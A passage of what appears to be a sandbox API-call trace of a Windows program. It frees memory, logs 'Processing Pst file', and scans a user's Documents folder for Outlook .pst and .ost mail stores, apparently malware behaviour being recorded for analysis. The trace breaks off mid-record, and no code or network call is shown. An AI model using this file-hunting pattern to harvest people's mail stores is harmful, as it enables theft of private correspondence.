0x0 [0100.398] LocalFree (hMem=0x72016f0) returned 0x0 [0100.398] LocalFree (hMem=0x7201690) returned 0x0 [0100.398] LocalFree (hMem=0x7201750) returned 0x0 [0100.398] LocalFree (hMem=0x7201810) returned 0x0 [0100.398] LocalFree (hMem=0x7201870) returned 0x0 [0100.398] LocalFree (hMem=0x72018d0) returned 0x0 [0100.398] LocalFree (hMem=0x7201930) returned 0x0 [0100.398] LocalFree (hMem=0x7201990) returned 0x0 [0100.398] LocalFree (hMem=0x7201a50) returned 0x0 [0100.398] LocalFree (hMem=0x7201ab0) returned 0x0 [0100.398] LocalFree (hMem=0x7201b10) returned 0x0 [0100.398] LocalFree (hMem=0x7201b70) returned 0x0 [0100.398] LocalFree (hMem=0x7201bd0) returned 0x0 [0100.398] LocalFree (hMem=0x7201c30) returned 0x0 [0100.398] LocalFree (hMem=0x7201c90) returned 0x0 [0100.398] LocalFree (hMem=0x7201cf0) returned 0x0 [0100.398] LocalFree (hMem=0x7201d50) returned 0x0 [0100.398] LocalFree (hMem=0x72028f0) returned 0x0 [0100.398] LocalFree (hMem=0x71e3ca0) returned 0x0 [0100.398] LocalFree (hMem=0x71e38e0) returned 0x0 [0100.398] LocalFree (hMem=0x71e3ac0) returned 0x0 [0100.398] LocalFree (hMem=0x71e3a00) returned 0x0 [0100.398] LocalFree (hMem=0x71e3640) returned 0x0 [0100.398] LocalFree (hMem=0x71e3940) returned 0x0 [0100.398] LocalFree (hMem=0x71e30a0) returned 0x0 [0100.399] LocalFree (hMem=0x71e31c0) returned 0x0 [0100.399] LocalFree (hMem=0x71e3160) returned 0x0 [0100.399] LocalFree (hMem=0x71e3040) returned 0x0 [0100.399] LocalFree (hMem=0x71e3460) returned 0x0 [0100.399] LocalFree (hMem=0x71e34c0) returned 0x0 [0100.399] LocalFree (hMem=0x71e36a0) returned 0x0 [0100.399] LocalFree (hMem=0x71e3700) returned 0x0 [0100.399] LocalFree (hMem=0x71e3760) returned 0x0 [0100.399] LocalFree (hMem=0x71e2fe0) returned 0x0 [0100.399] LocalFree (hMem=0x71e2e00) returned 0x0 [0100.399] LocalFree (hMem=0x71e2e60) returned 0x0 [0100.399] LocalFree (hMem=0x71e2ec0) returned 0x0 [0100.399] LocalFree (hMem=0x71e2da0) returned 0x0 [0100.399] LocalFree (hMem=0x71e2aa0) returned 0x0 [0100.399] LocalFree (hMem=0x71e2b60) returned 0x0 [0100.399] LocalFree (hMem=0x71e2980) returned 0x0 [0100.399] LocalFree (hMem=0x71e2560) returned 0x0 [0100.399] LocalFree (hMem=0x71e2620) returned 0x0 [0100.399] LocalFree (hMem=0x71e27a0) returned 0x0 [0100.399] LocalFree (hMem=0x71e2860) returned 0x0 [0100.399] LocalFree (hMem=0x71e2260) returned 0x0 [0100.399] LocalFree (hMem=0x71e26e0) returned 0x0 [0100.399] LocalFree (hMem=0x71e2200) returned 0x0 [0100.399] LocalFree (hMem=0x71e21a0) returned 0x0 [0100.399] LocalFree (hMem=0x71e23e0) returned 0x0 [0100.399] LocalFree (hMem=0x71e24a0) returned 0x0 [0100.399] LocalFree (hMem=0x71ea8c0) returned 0x0 [0100.399] LocalFree (hMem=0x71ea7a0) returned 0x0 [0100.399] LocalFree (hMem=0x71ea380) returned 0x0 [0100.399] LocalFree (hMem=0x71ea200) returned 0x0 [0100.399] LocalFree (hMem=0x71ea440) returned 0x0 [0100.399] LocalFree (hMem=0x71ea320) returned 0x0 [0100.399] LocalFree (hMem=0x71e9180) returned 0x0 [0100.399] LocalFree (hMem=0x71e9d20) returned 0x0 [0100.399] LocalFree (hMem=0x71e9fc0) returned 0x0 [0100.399] LocalFree (hMem=0x71e9f60) returned 0x0 [0100.399] LocalFree (hMem=0x71ea140) returned 0x0 [0100.399] LocalFree (hMem=0x71ea080) returned 0x0 [0100.399] LocalFree (hMem=0x71e9e40) returned 0x0 [0100.400] LocalFree (hMem=0x71ea020) returned 0x0 [0100.400] LocalFree (hMem=0x71e9cc0) returned 0x0 [0100.400] LocalFree (hMem=0x71e9c60) returned 0x0 [0100.400] LocalFree (hMem=0x71e9540) returned 0x0 [0100.400] LocalFree (hMem=0x71e9480) returned 0x0 [0100.400] LocalFree (hMem=0x71e9ba0) returned 0x0 [0100.400] LocalFree (hMem=0x71e95a0) returned 0x0 [0100.400] LocalFree (hMem=0x71e9300) returned 0x0 [0100.400] LocalFree (hMem=0x71e90c0) returned 0x0 [0100.400] LocalFree (hMem=0x71e8e80) returned 0x0 [0100.400] LocalFree (hMem=0x71e9000) returned 0x0 [0100.400] LocalFree (hMem=0x71e8a00) returned 0x0 [0100.400] LocalFree (hMem=0x71e8dc0) returned 0x0 [0100.400] LocalFree (hMem=0x71e8e20) returned 0x0 [0100.400] LocalFree (hMem=0x71e8c40) returned 0x0 [0100.400] LocalFree (hMem=0x71e8be0) returned 0x0 [0100.400] LocalFree (hMem=0x71e8d00) returned 0x0 [0100.400] LocalFree (hMem=0x28f6fe0) returned 0x0 [0100.400] LocalFree (hMem=0x433fda0) returned 0x0 [0100.400] LocalFree (hMem=0x28f6f60) returned 0x0 [0100.400] LocalFree (hMem=0x723aa20) returned 0x0 [0100.400] LocalFree (hMem=0x28f6f20) returned 0x0 [0100.400] LocalFree (hMem=0x723bc40) returned 0x0 [0100.400] LocalFree (hMem=0x28f6e60) returned 0x0 [0100.400] LocalFree (hMem=0x723b9c0) returned 0x0 [0100.400] LocalFree (hMem=0x28f6fd0) returned 0x0 [0100.400] LocalFree (hMem=0x723bd60) returned 0x0 [0100.400] LocalFree (hMem=0x28f7000) returned 0x0 [0100.400] LocalFree (hMem=0x723ac80) returned 0x0 [0100.400] LocalFree (hMem=0x28f7010) returned 0x0 [0100.400] LocalFree (hMem=0x723ac60) returned 0x0 [0100.400] LocalFree (hMem=0x28f7020) returned 0x0 [0100.400] LocalFree (hMem=0x723b4a0) returned 0x0 [0100.400] LocalFree (hMem=0x28f7030) returned 0x0 [0100.400] LocalFree (hMem=0x723aaa0) returned 0x0 [0100.400] LocalFree (hMem=0x723a2a0) returned 0x0 [0100.400] LocalFree (hMem=0x723a3a0) returned 0x0 [0100.401] LocalFree (hMem=0x723b7a0) returned 0x0 [0100.401] LocalFree (hMem=0x723ad20) returned 0x0 [0100.401] LocalFree (hMem=0x723ba20) returned 0x0 [0100.401] LocalFree (hMem=0x723af00) returned 0x0 [0100.401] LocalFree (hMem=0x723a500) returned 0x0 [0100.401] LocalFree (hMem=0x723bc00) returned 0x0 [0100.401] LocalFree (hMem=0x28f7040) returned 0x0 [0100.401] LocalFree (hMem=0x723ba00) returned 0x0 [0100.401] LocalFree (hMem=0x28f7050) returned 0x0 [0100.401] LocalFree (hMem=0x723be60) returned 0x0 [0100.401] LocalFree (hMem=0x71b7dc0) returned 0x0 [0100.401] LocalFree (hMem=0x723a8e0) returned 0x0 [0100.401] LocalFree (hMem=0x28f7060) returned 0x0 [0100.401] LocalFree (hMem=0x723a5c0) returned 0x0 [0100.401] LocalFree (hMem=0x28f7070) returned 0x0 [0100.401] LocalFree (hMem=0x723b380) returned 0x0 [0100.401] LocalFree (hMem=0x28f7080) returned 0x0 [0100.401] LocalFree (hMem=0x723b6a0) returned 0x0 [0100.401] LocalFree (hMem=0x28f7090) returned 0x0 [0100.401] LocalFree (hMem=0x723aa00) returned 0x0 [0100.401] LocalFree (hMem=0x723bc80) returned 0x0 [0100.401] LocalFree (hMem=0x723b800) returned 0x0 [0100.401] LocalFree (hMem=0x28f70a0) returned 0x0 [0100.401] LocalFree (hMem=0x723bb00) returned 0x0 [0100.401] LocalFree (hMem=0x28f70b0) returned 0x0 [0100.401] LocalFree (hMem=0x723be40) returned 0x0 [0100.401] LocalFree (hMem=0x28f70c0) returned 0x0 [0100.401] LocalFree (hMem=0x723a5e0) returned 0x0 [0100.401] LocalFree (hMem=0x28f70d0) returned 0x0 [0100.401] LocalFree (hMem=0x723aa60) returned 0x0 [0100.401] LocalFree (hMem=0x28f70e0) returned 0x0 [0100.401] LocalFree (hMem=0x723b080) returned 0x0 [0100.401] LocalFree (hMem=0x28f70f0) returned 0x0 [0100.401] LocalFree (hMem=0x723a4a0) returned 0x0 [0100.401] LocalFree (hMem=0x28f7100) returned 0x0 [0100.401] LocalFree (hMem=0x723b1c0) returned 0x0 [0100.401] LocalFree (hMem=0x28f7110) returned 0x0 [0100.401] LocalFree (hMem=0x723a780) returned 0x0 [0100.402] LocalFree (hMem=0x727cb20) returned 0x0 [0100.402] LocalFree (hMem=0x723b160) returned 0x0 [0100.402] LocalFree (hMem=0x28f7120) returned 0x0 [0100.402] LocalFree (hMem=0x723b1a0) returned 0x0 [0100.402] LocalFree (hMem=0x28f7130) returned 0x0 [0100.402] LocalFree (hMem=0x723b460) returned 0x0 [0100.402] LocalFree (hMem=0x28f7140) returned 0x0 [0100.402] LocalFree (hMem=0x723b500) returned 0x0 [0100.402] LocalFree (hMem=0x28f7150) returned 0x0 [0100.402] LocalFree (hMem=0x723bd80) returned 0x0 [0100.402] LocalFree (hMem=0x723a7c0) returned 0x0 [0100.402] LocalFree (hMem=0x723a3e0) returned 0x0 [0100.402] LocalFree (hMem=0x28f65a0) returned 0x0 [0100.402] LocalFree (hMem=0x723af40) returned 0x0 [0100.402] LocalFree (hMem=0x28f6520) returned 0x0 [0100.402] LocalFree (hMem=0x723b280) returned 0x0 [0100.402] LocalFree (hMem=0x28f65b0) returned 0x0 [0100.402] LocalFree (hMem=0x723aea0) returned 0x0 [0100.402] LocalFree (hMem=0x28f6550) returned 0x0 [0100.402] LocalFree (hMem=0x723af20) returned 0x0 [0100.402] LocalFree (hMem=0x28f6490) returned 0x0 [0100.402] LocalFree (hMem=0x723ab00) returned 0x0 [0100.402] LocalFree (hMem=0x28f64b0) returned 0x0 [0100.402] LocalFree (hMem=0x723aa80) returned 0x0 [0100.402] LocalFree (hMem=0x28f6570) returned 0x0 [0100.402] LocalFree (hMem=0x723ada0) returned 0x0 [0100.402] LocalFree (hMem=0x28f6590) returned 0x0 [0100.402] LocalFree (hMem=0x723bda0) returned 0x0 [0100.402] LocalFree (hMem=0x28f6750) returned 0x0 [0100.402] LocalFree (hMem=0x723be80) returned 0x0 [0100.402] LocalFree (hMem=0x4471c60) returned 0x0 [0100.402] LocalFree (hMem=0x723bfe0) returned 0x0 [0100.402] LocalFree (hMem=0x4471a90) returned 0x0 [0100.402] LocalFree (hMem=0x723a1e0) returned 0x0 [0100.402] LocalFree (hMem=0x4471ca0) returned 0x0 [0100.402] LocalFree (hMem=0x723b200) returned 0x0 [0100.402] LocalFree (hMem=0x4471c30) returned 0x0 [0100.402] LocalFree (hMem=0x723a620) returned 0x0 [0100.402] LocalFree (hMem=0x4471cb0) returned 0x0 [0100.403] LocalFree (hMem=0x723a880) returned 0x0 [0100.403] LocalFree (hMem=0x4471b00) returned 0x0 [0100.403] LocalFree (hMem=0x723b6c0) returned 0x0 [0100.403] LocalFree (hMem=0x432cc40) returned 0x0 [0100.403] LocalFree (hMem=0x723b900) returned 0x0 [0100.403] LocalFree (hMem=0x432cc30) returned 0x0 [0100.403] LocalFree (hMem=0x723b960) returned 0x0 [0100.403] LocalFree (hMem=0x432cc00) returned 0x0 [0100.403] LocalFree (hMem=0x723a400) returned 0x0 [0100.403] LocalFree (hMem=0x432caa0) returned 0x0 [0100.403] LocalFree (hMem=0x723af80) returned 0x0 [0100.403] LocalFree (hMem=0x432c9a0) returned 0x0 [0100.403] LocalFree (hMem=0x723b600) returned 0x0 [0100.403] LocalFree (hMem=0x432cc60) returned 0x0 [0100.403] LocalFree (hMem=0x723bb80) returned 0x0 [0100.403] LocalFree (hMem=0x42c0400) returned 0x0 [0100.403] LocalFree (hMem=0x723a4c0) returned 0x0 [0100.403] LocalFree (hMem=0x42c0490) returned 0x0 [0100.403] LocalFree (hMem=0x723a6e0) returned 0x0 [0100.403] LocalFree (hMem=0x42c0270) returned 0x0 [0100.403] LocalFree (hMem=0x723a8a0) returned 0x0 [0100.403] LocalFree (hMem=0x42c02a0) returned 0x0 [0100.403] LocalFree (hMem=0x723ad80) returned 0x0 [0100.403] LocalFree (hMem=0x42c0360) returned 0x0 [0100.403] LocalFree (hMem=0x723b980) returned 0x0 [0100.403] LocalFree (hMem=0x42c03e0) returned 0x0 [0100.403] LocalFree (hMem=0x723bb60) returned 0x0 [0100.403] LocalFree (hMem=0x2f0270) returned 0x0 [0100.403] LocalFree (hMem=0x723a0a0) returned 0x0 [0100.403] LocalFree (hMem=0x284ce00) returned 0x0 [0100.403] LocalFree (hMem=0x723a940) returned 0x0 [0100.403] LocalFree (hMem=0x7295d60) returned 0x0 [0100.403] LocalFree (hMem=0x723bb40) returned 0x0 [0100.403] LocalFree (hMem=0x7295d70) returned 0x0 [0100.403] LocalFree (hMem=0x723bec0) returned 0x0 [0100.403] LocalFree (hMem=0x7295d80) returned 0x0 [0100.403] LocalFree (hMem=0x723afa0) returned 0x0 [0100.403] LocalFree (hMem=0x7295d90) returned 0x0 [0100.403] LocalFree (hMem=0x723b0a0) returned 0x0 [0100.403] LocalFree (hMem=0x7295da0) returned 0x0 [0100.403] LocalFree (hMem=0x723b0c0) returned 0x0 [0100.403] LocalFree (hMem=0x7295db0) returned 0x0 [0100.404] LocalFree (hMem=0x723b1e0) returned 0x0 [0100.404] LocalFree (hMem=0x7295dc0) returned 0x0 [0100.404] LocalFree (hMem=0x723bcc0) returned 0x0 [0100.404] LocalFree (hMem=0x7295dd0) returned 0x0 [0100.404] LocalFree (hMem=0x723b000) returned 0x0 [0100.404] LocalFree (hMem=0x7295de0) returned 0x0 [0100.404] LocalFree (hMem=0x723b180) returned 0x0 [0100.404] LocalFree (hMem=0x7295df0) returned 0x0 [0100.404] LocalFree (hMem=0x723ba80) returned 0x0 [0100.404] LocalFree (hMem=0x7295e00) returned 0x0 [0100.404] LocalFree (hMem=0x723bbe0) returned 0x0 [0100.404] LocalFree (hMem=0x7295e10) returned 0x0 [0100.404] LocalFree (hMem=0x723bd40) returned 0x0 [0100.404] LocalFree (hMem=0x7295e20) returned 0x0 [0100.404] LocalFree (hMem=0x723a960) returned 0x0 [0100.404] LocalFree (hMem=0x7295e30) returned 0x0 [0100.404] LocalFree (hMem=0x723b2e0) returned 0x0 [0100.404] LocalFree (hMem=0x7295e40) returned 0x0 [0100.404] LocalFree (hMem=0x723b4c0) returned 0x0 [0100.404] LocalFree (hMem=0x7295e50) returned 0x0 [0100.404] LocalFree (hMem=0x723acc0) returned 0x0 [0100.404] LocalFree (hMem=0x7295e60) returned 0x0 [0100.404] LocalFree (hMem=0x723ab20) returned 0x0 [0100.404] LocalFree (hMem=0x7295e70) returned 0x0 [0100.404] LocalFree (hMem=0x723aca0) returned 0x0 [0100.404] LocalFree (hMem=0x7295e80) returned 0x0 [0100.404] LocalFree (hMem=0x723ad40) returned 0x0 [0100.404] LocalFree (hMem=0x7295e90) returned 0x0 [0100.404] LocalFree (hMem=0x723ba60) returned 0x0 [0100.404] LocalFree (hMem=0x7295ea0) returned 0x0 [0100.404] LocalFree (hMem=0x723a800) returned 0x0 [0100.404] LocalFree (hMem=0x7295eb0) returned 0x0 [0100.404] LocalFree (hMem=0x723b7c0) returned 0x0 [0100.404] LocalFree (hMem=0x7295ec0) returned 0x0 [0100.404] LocalFree (hMem=0x723b400) returned 0x0 [0100.404] LocalFree (hMem=0x7295ed0) returned 0x0 [0100.404] LocalFree (hMem=0x723a700) returned 0x0 [0100.404] LocalFree (hMem=0x7295ee0) returned 0x0 [0100.404] LocalFree (hMem=0x723a9e0) returned 0x0 [0100.404] LocalFree (hMem=0x7295ef0) returned 0x0 [0100.404] LocalFree (hMem=0x723b300) returned 0x0 [0100.404] LocalFree (hMem=0x7295f00) returned 0x0 [0100.404] LocalFree (hMem=0x723b320) returned 0x0 [0100.404] LocalFree (hMem=0x7295f10) returned 0x0 [0100.405] LocalFree (hMem=0x723a5a0) returned 0x0 [0100.405] LocalFree (hMem=0x7295f20) returned 0x0 [0100.405] LocalFree (hMem=0x723ab60) returned 0x0 [0100.405] LocalFree (hMem=0x7295f30) returned 0x0 [0100.405] LocalFree (hMem=0x723bb20) returned 0x0 [0100.405] LocalFree (hMem=0x7295f40) returned 0x0 [0100.405] LocalFree (hMem=0x723a340) returned 0x0 [0100.405] LocalFree (hMem=0x7295f50) returned 0x0 [0100.405] LocalFree (hMem=0x723af60) returned 0x0 [0100.405] LocalFree (hMem=0x7295f60) returned 0x0 [0100.405] LocalFree (hMem=0x723bf00) returned 0x0 [0100.405] LocalFree (hMem=0x7295f70) returned 0x0 [0100.405] LocalFree (hMem=0x723a820) returned 0x0 [0100.405] LocalFree (hMem=0x7295f80) returned 0x0 [0100.405] LocalFree (hMem=0x723b780) returned 0x0 [0100.405] LocalFree (hMem=0x7295f90) returned 0x0 [0100.405] LocalFree (hMem=0x723a7e0) returned 0x0 [0100.405] LocalFree (hMem=0x7295fa0) returned 0x0 [0100.405] LocalFree (hMem=0x723a8c0) returned 0x0 [0100.405] LocalFree (hMem=0x7295fb0) returned 0x0 [0100.405] LocalFree (hMem=0x723b760) returned 0x0 [0100.405] LocalFree (hMem=0x7295fc0) returned 0x0 [0100.405] LocalFree (hMem=0x723a1a0) returned 0x0 [0100.405] LocalFree (hMem=0x7295fd0) returned 0x0 [0100.405] LocalFree (hMem=0x723bbc0) returned 0x0 [0100.405] LocalFree (hMem=0x7295fe0) returned 0x0 [0100.405] LocalFree (hMem=0x723bd00) returned 0x0 [0100.405] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x400) returned 0x9a91d90 [0100.405] wsprintfA (in: param_1=0x9a91d90, param_2="Processing Pst file = %S; fsize = %u;" | out: param_1="Processing Pst file = C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst; fsize = 271360;") returned 99 [0100.405] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0100.405] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88c5f060, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x88c5f060, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x94845900, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x230230, cFileName="sdjwh@dive.djh.pst", cAlternateFileName="SDJWH@~1.PST")) returned 0 [0100.405] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0100.405] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276bfe0, ftCreationTime.dwHighDateTime=0x1d50581, ftLastAccessTime.dwLowDateTime=0xa190f970, ftLastAccessTime.dwHighDateTime=0x1d50172, ftLastWriteTime.dwLowDateTime=0xa190f970, ftLastWriteTime.dwHighDateTime=0x1d50172, nFileSizeHigh=0x0, nFileSizeLow=0xf8cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PTsUdLj.xlsx", cAlternateFileName="PTSUDL~1.XLS")) returned 1 [0100.405] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.405] PathMatchSpecW (pszFile="PTsUdLj.xlsx", pszSpec="*.pst") returned 0 [0100.405] PathMatchSpecW (pszFile="PTsUdLj.xlsx", pszSpec="*.ost") returned 0 [0100.405] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9405f540, ftCreationTime.dwHighDateTime=0x1d4cb8e, ftLastAccessTime.dwLowDateTime=0xd73020a0, ftLastAccessTime.dwHighDateTime=0x1d4cbbd, ftLastWriteTime.dwLowDateTime=0xd73020a0, ftLastWriteTime.dwHighDateTime=0x1d4cbbd, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="q34lq_JbiJsP.doc", cAlternateFileName="Q34LQ_~1.DOC")) returned 1 [0100.406] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.406] PathMatchSpecW (pszFile="q34lq_JbiJsP.doc", pszSpec="*.pst") returned 0 [0100.406] PathMatchSpecW (pszFile="q34lq_JbiJsP.doc", pszSpec="*.ost") returned 0 [0100.406] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1770670, ftCreationTime.dwHighDateTime=0x1d4e74e, ftLastAccessTime.dwLowDateTime=0xb3e30350, ftLastAccessTime.dwHighDateTime=0x1d50e1c, ftLastWriteTime.dwLowDateTime=0xb3e30350, ftLastWriteTime.dwHighDateTime=0x1d50e1c, nFileSizeHigh=0x0, nFileSizeLow=0x266a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qKmq.docx", cAlternateFileName="QKMQ~1.DOC")) returned 1 [0100.406] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.406] PathMatchSpecW (pszFile="qKmq.docx", pszSpec="*.pst") returned 0 [0100.406] PathMatchSpecW (pszFile="qKmq.docx", pszSpec="*.ost") returned 0 [0100.406] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294e5400, ftCreationTime.dwHighDateTime=0x1d4ccf5, ftLastAccessTime.dwLowDateTime=0x30f68b80, ftLastAccessTime.dwHighDateTime=0x1d4c969, ftLastWriteTime.dwLowDateTime=0x30f68b80, ftLastWriteTime.dwHighDateTime=0x1d4c969, nFileSizeHigh=0x0, nFileSizeLow=0xdb9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rPvFAdqEUop.ppt", cAlternateFileName="RPVFAD~1.PPT")) returned 1 [0100.406] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.406] PathMatchSpecW (pszFile="rPvFAdqEUop.ppt", pszSpec="*.pst") returned 0 [0100.446] PathMatchSpecW (pszFile="rPvFAdqEUop.ppt", pszSpec="*.ost") returned 0 [0100.446] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259b04a0, ftCreationTime.dwHighDateTime=0x1d4c842, ftLastAccessTime.dwLowDateTime=0xd95170, ftLastAccessTime.dwHighDateTime=0x1d4aba6, ftLastWriteTime.dwLowDateTime=0xd95170, ftLastWriteTime.dwHighDateTime=0x1d4aba6, nFileSizeHigh=0x0, nFileSizeLow=0x94f1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rw9RSXhngk69iq0H.pptx", cAlternateFileName="RW9RSX~1.PPT")) returned 1 [0100.446] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.446] PathMatchSpecW (pszFile="rw9RSXhngk69iq0H.pptx", pszSpec="*.pst") returned 0 [0100.446] PathMatchSpecW (pszFile="rw9RSXhngk69iq0H.pptx", pszSpec="*.ost") returned 0 [0100.446] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa412c0, ftCreationTime.dwHighDateTime=0x1d4cd44, ftLastAccessTime.dwLowDateTime=0xbcbc1320, ftLastAccessTime.dwHighDateTime=0x1d4cfcb, ftLastWriteTime.dwLowDateTime=0xbcbc1320, ftLastWriteTime.dwHighDateTime=0x1d4cfcb, nFileSizeHigh=0x0, nFileSizeLow=0x12b1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t JYhY.ots", cAlternateFileName="TJYHY~1.OTS")) returned 1 [0100.446] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.446] PathMatchSpecW (pszFile="t JYhY.ots", pszSpec="*.pst") returned 0 [0100.446] PathMatchSpecW (pszFile="t JYhY.ots", pszSpec="*.ost") returned 0 [0100.446] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d542a0, ftCreationTime.dwHighDateTime=0x1d4bb0e, ftLastAccessTime.dwLowDateTime=0xde8f7f40, ftLastAccessTime.dwHighDateTime=0x1d4d5da, ftLastWriteTime.dwLowDateTime=0xde8f7f40, ftLastWriteTime.dwHighDateTime=0x1d4d5da, nFileSizeHigh=0x0, nFileSizeLow=0xcb4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WBajqFyl.xlsx", cAlternateFileName="WBAJQF~1.XLS")) returned 1 [0100.446] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.446] PathMatchSpecW (pszFile="WBajqFyl.xlsx", pszSpec="*.pst") returned 0 [0100.446] PathMatchSpecW (pszFile="WBajqFyl.xlsx", pszSpec="*.ost") returned 0 [0100.446] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9523a6f0, ftCreationTime.dwHighDateTime=0x1d4991d, ftLastAccessTime.dwLowDateTime=0x3646750, ftLastAccessTime.dwHighDateTime=0x1d4f51f, ftLastWriteTime.dwLowDateTime=0x3646750, ftLastWriteTime.dwHighDateTime=0x1d4f51f, nFileSizeHigh=0x0, nFileSizeLow=0x11795, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x3ae0WPkLee.xlsx", cAlternateFileName="X3AE0W~1.XLS")) returned 1 [0100.446] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.446] PathMatchSpecW (pszFile="x3ae0WPkLee.xlsx", pszSpec="*.pst") returned 0 [0100.446] PathMatchSpecW (pszFile="x3ae0WPkLee.xlsx", pszSpec="*.ost") returned 0 [0100.446] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0bfcf60, ftCreationTime.dwHighDateTime=0x1d4d289, ftLastAccessTime.dwLowDateTime=0x7bf46570, ftLastAccessTime.dwHighDateTime=0x1d4ca91, ftLastWriteTime.dwLowDateTime=0x7bf46570, ftLastWriteTime.dwHighDateTime=0x1d4ca91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XhQD94br1271W", cAlternateFileName="XHQD94~1")) returned 1 [0100.446] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.446] PathCombineW (in: pszDest=0x6a1f3e0, pszDir="C:\\Users\\aETAdzjz\\Documents", pszFile="XhQD94br1271W" | out: pszDest="C:\\Users\\aETAdzjz\\Documents\\XhQD94br1271W") returned="C:\\Users\\aETAdzjz\\Documents\\XhQD94br1271W" [0100.446] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\Documents\\XhQD94br1271W", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\Documents\\XhQD94br1271W\\*") returned="C:\\Users\\aETAdzjz\\Documents\\XhQD94br1271W\\*" [0100.446] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\XhQD94br1271W\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0bfcf60, ftCreationTime.dwHighDateTime=0x1d4d289, ftLastAccessTime.dwLowDateTime=0x7bf46570, ftLastAccessTime.dwHighDateTime=0x1d4ca91, ftLastWriteTime.dwLowDateTime=0x7bf46570, ftLastWriteTime.dwHighDateTime=0x1d4ca91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0100.500] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.502] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0bfcf60, ftCreationTime.dwHighDateTime=0x1d4d289, ftLastAccessTime.dwLowDateTime=0x7bf46570, ftLastAccessTime.dwHighDateTime=0x1d4ca91, ftLastWriteTime.dwLowDateTime=0x7bf46570, ftLastWriteTime.dwHighDateTime=0x1d4ca91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0100.518] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.518] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d5216e0, ftCreationTime.dwHighDateTime=0x1d4d229, ftLastAccessTime.dwLowDateTime=0xf99a0a70, ftLastAccessTime.dwHighDateTime=0x1d4d09a, ftLastWriteTime.dwLowDateTime=0xf99a0a70, 